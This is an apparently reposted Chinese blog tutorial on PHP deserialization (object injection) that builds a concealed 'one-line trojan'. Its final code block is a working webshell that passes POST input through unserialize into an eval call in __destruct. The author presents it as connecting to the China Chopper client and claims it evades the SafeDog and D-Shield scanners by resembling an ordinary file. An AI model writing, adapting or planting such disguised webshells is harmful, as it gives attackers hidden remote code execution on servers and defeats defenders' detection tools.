最近和小夥伴們一起研究了下PHP反序列化漏洞,突發奇想,利用反序列化漏洞寫一個一句話木馬效果應該蠻不錯的。本文主要和大家分享PHP反序列化漏洞詳解,希望能幫助大家。
0x01 PHP反序
說起PHP反序列化,那必須先簡單說一下PHP的序列化。 PHP序列化是將一個物件、陣列、字串等轉換為位元組流便於傳輸,例如跨腳本等。而PHP反序列化是將序列化之後的位元組流還原成物件、字元、陣列等。但是PHP序列化是不會保存物件的方法。
<?php class A{ var $test = "demo"; } $a = new A(); // 生成a对象 $b = serialize($a); // 序列化a对象为b $c = unserialize($b); // 反序列化b对象为c print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";} echo "\n"; print_r($c->test); // 输出对象c中test的值:demo ?>
PHP類別中有一種特殊函數體的存在叫魔法函數,magic函數命名是以符號__開頭的,例如__construct, __destruct, __toString, __sleep, __wakeup等等。這些函數在某些情況下會自動調用,例如__construct當一個物件創建時被調用,__destruct當一個物件銷毀時被調用,__toString當一個物件被當作一個字串使用。
而在反序列化時,如果反序列化物件中存在魔法函數,使用unserialize()函數同時也會觸發。這樣,一旦我們能夠控制unserialize()入口,那麼就可能引發物件注入漏洞。
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
例如上述程式碼,建構payload為http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s :5:"hello";}
反序列化後在腳本運行結束時就會呼叫_destruct函數,同時會覆寫test變數輸出hello。
我們可以利用這個漏洞點,控制輸入變量,拼接成一個序列化物件。然後再建構一個魔法函數,例如在_destruct()函數中呼叫eval執行序列化物件中的語句。
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
直接菜刀連結:
此木馬畢竟是跟正常檔案太像,所以免殺效果很不錯。這裡只是測試了安全狗、D盾,其餘自測。
小結######而且由此可以引發很多變形,這裡只是利用反序列化漏洞,其他漏洞也可以用來當作木馬的載體,畢竟cms的程式碼執行漏洞在被發現之前,他依舊是一個正常到不能再正常的文件。 ######相關推薦:#########php關於反序列化物件注入漏洞#############PHP序列化與反序列化原理詳解### ######### 深入了解php中序列化與反序列化#######以上是PHP反序列化漏洞詳解的詳細內容。更多資訊請關注PHP中文網其他相關文章!